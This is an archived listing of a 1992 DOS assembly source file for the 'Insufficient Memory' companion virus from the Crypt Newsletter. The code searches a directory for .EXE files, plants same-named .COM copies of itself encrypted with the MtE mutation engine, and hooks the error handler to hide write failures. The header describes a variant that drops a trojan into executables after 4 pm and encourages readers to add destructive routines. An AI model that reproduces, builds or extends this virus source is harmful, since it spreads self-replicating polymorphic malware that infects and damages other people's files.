home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 239.INSUFF.ASM < prev    next >
Assembly Source File  |  1992-09-26  |  7KB  |  178 lines

  1. ;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
  2. ;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which 
  3. ;confines itself to the current directory. To assemble with TASM 2.5, user
  4. ;must have complete MTE091B software package (including RND.OBJ,
  5. ;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
  6. ;issue of the Crypt Newsletter to assemble all proper
  7. ;components. Observant readers will notice INSUFF MEMO takes advantage of
  8. ;VCL 1.0 code as well as notation from the SARA virus.  INSUFF MEMO is
  9. ;a non-threatening, unique example of an MtE-loaded companion virus -
  10. ;the only one in circulation, in fact.
  11. ;
  12. ;INSUFF2, included as a DEBUG script in this newsletter, is functionally        
  13. ;identical to this virus.  However, for those who 'require' a destructive
  14. ;program for their full enjoyment, it is loaded with a routine which
  15. ;simple checks the system time and branches to some 'dropper' code if
  16. ;after quitting time (4:00 pm).  The 'dropper' reads from a data table
  17. ;and writes the NOIZ trojan to any .EXE in the current directory. By
  18. ;looking carefully at this code, several areas where 'potentially'
  19. ;destructive/nuisance routines can be added will suggest themselves.
  20. ;We do not include them for a number of reasons: 1) they are easy to
  21. ;come by in any number of books on assembly coding, the VCL 1.0 (an
  22. ;excellent source), or source code archives on mnay BBS's, and; 2)
  23. ;it allows you to get creative if you want and tinker (like I do all the
  24. ; time) with the basic layout of virus source.
  25. ;        
  26. ;INSUFF3's source listing is modified to allow the virus to jump out        
  27. ;of the current directory when all files in it are infected.  The
  28. ;listing is publicly available at the BBS's listed at the end of the
  29. ;Crypt newsletter.
  30.  
  31.     .model  tiny
  32.     .radix  16
  33.     .code
  34.  
  35.     extrn   mut_engine: near
  36.     extrn   rnd_buf: word, data_top: near
  37.  
  38.     org     100
  39.  
  40. start:
  41.     call    locadr
  42.  
  43. reladr: 
  44.     db      'Insufficient memory'
  45.     
  46. locadr:
  47.     pop     dx
  48.     mov     cl,4
  49.     shr     dx,cl
  50.     sub     dx,10
  51.     mov     cx,ds
  52.     add     cx,dx                   ;Calculate new CS
  53.     mov     dx,offset begin
  54.     push    cx dx
  55.     retf
  56. begin:
  57.     cld
  58.     mov     di,offset start
  59.     push    es di                   ;
  60.     push    cs                      ;A carry over from the DAV
  61.     pop     ds                      ;SARA virus, something of a curiosity
  62.                     ;in this companion virus
  63.     mov     dx,offset dta_buf       ;Set DTA
  64.     mov     ah,1a
  65.     int     21
  66.     mov     ax,3524                 ;Hook INT 24, error handler
  67.     int     21                      ;see bottom of code
  68.     push    es bx
  69.     mov     dx,offset fail_err
  70.     mov     ax,2524
  71.     int     21
  72.     xor     ax,ax                   ;Initialize random seed for MtE
  73.     mov     [rnd_buf],ax            ;could be coded, mov  cs:[rnd_buf],0
  74.     push    sp                      ;process necessary for generation of
  75.     pop     cx                      ;MtE encryption key - see MtE docs
  76.     sub     cx,sp                   ;for further notation
  77.     add     cx,4
  78.     push    cx
  79.     mov     dx,offset srchnam   ;EXE file-mask for spawn-name search
  80.     mov     cl,3
  81.     mov     ah,4e               ; DOS find first file function
  82.        
  83. find_a_file:    
  84.        int     021h
  85.        jc      infection_done          ; Exit if no files found
  86.        jmp     infect                  ; Infect the file!
  87.        jnc     infection_done          ; Exit if no error
  88. findr: mov     ah,04Fh                 ; DOS find next file function
  89.        jmp     find_a_file             ; Try finding another file
  90.  
  91.     
  92. infection_done: 
  93.      
  94.     mov     ax,4C00h                ;terminate
  95.     int     21h
  96.  
  97. infect:
  98.     mov     ah,02Fh                 ; DOS get DTA address function
  99.     int     021h
  100.     mov     di,bx                   ; DI points to the DTA
  101.  
  102.     lea     si,[di + 01Eh]          ; SI points to file name
  103.     mov     dx,si                   ; DX points to file name, too
  104.     mov     di,offset spawn_name + 1; DI points to new name
  105.     xor     ah,ah                   ; AH holds character count
  106. transfer_loop:  
  107.     lodsb                           ; Load a character
  108.     or      al,al                   ; Is it a NULL?
  109.     je      transfer_end            ; If so then leave the loop
  110.     inc     ah                      ; Add one to the character count
  111.     stosb                           ; Save the byte in the buffer
  112.     jmp     short transfer_loop     ; Repeat the loop
  113. transfer_end:   
  114.     mov     byte ptr [spawn_name],ah; First byte holds char. count
  115.     mov     byte ptr [di],13        ; Make CR the final character
  116.     mov     di,dx                   ; DI points to file name
  117.     xor     ch,ch                   ;
  118.     mov     cl,ah                   ; CX holds length of filename
  119.     mov     al,'.'                  ; AL holds char. to search for
  120. repne   scasb                           ; Search for a dot in the name
  121.     mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
  122.     mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"
  123.  
  124.     mov     byte ptr [set_carry],0  ; Assume we'll fail
  125.     mov     ax,03D00h               ; DOS open file function, r/o
  126.     int     021h
  127.     jnc     findr                   ; File already exists, so leave
  128.     mov     byte ptr [set_carry],1  ; Success -- the file is OK
  129.     mov     ah,03Ch                 ; DOS create file function
  130.     mov     cx,00100111b            ; CX holds file attributes (all)
  131.     int     21h
  132.     xchg    bx,ax                   ; BX holds file handle
  133.     push    dx cx
  134.     mov     ax,offset data_top+0Fh
  135.     mov     cl,4
  136.     shr     ax,cl
  137.     mov     cx,cs
  138.     add     ax,cx
  139.     mov     es,ax
  140.     mov     dx,offset start   ; DX points to start of virus
  141.     mov     cx,offset _DATA   ; CX holds virus length for encryption 
  142.     push    bp bx
  143.     mov     bp,0100h  ;tells MtE decryption routine will
  144.     xor     si,si     ;hand over control to where virus adds 
  145.     xor     di,di     ;itself to 'infected' file, in this case offset  
  146.     mov     bl,0Fh    ;0100h .. set si/di to 0, bl to 0Fh, all required 
  147.     mov     ax,101    ;set bit-field in ax 
  148.     call    mut_engine   ;call the Mutation Engine to do its thing
  149.     pop     bx ax
  150.     add     ax,cx
  151.     neg     ax
  152.     xor     ah,ah
  153.     add     ax,cx
  154.     mov     ah,040h          ;write encrypted virus to newly created file 
  155.     int     21h
  156.     mov     ah,03Eh          ;close the file 
  157.     int     21h
  158.     cmp     byte ptr [set_carry],1    
  159.     jmp     infection_done            ;move to end game
  160.  
  161.         
  162.  
  163. fail_err:                      ;Critical error handler
  164.     mov     al,3           ;prevents virus from producing
  165.     iret                   ;messages on write-protected disks.
  166.                    ;Not handed back to machine when virus exits.
  167. srchnam db      '*.EXE',0      ;File-mask for 'spawn-search.'
  168.  
  169.  
  170.  
  171.     .data
  172.  
  173. dta_buf         db      2bh dup(?)              ; Buffer for DTA
  174. spawn_name      db      12,12 dup (?),13        ; Name for next spawn
  175. set_carry       db      ?                       ; Set-carry-on-exit flag
  176.     
  177.     end     start
  178.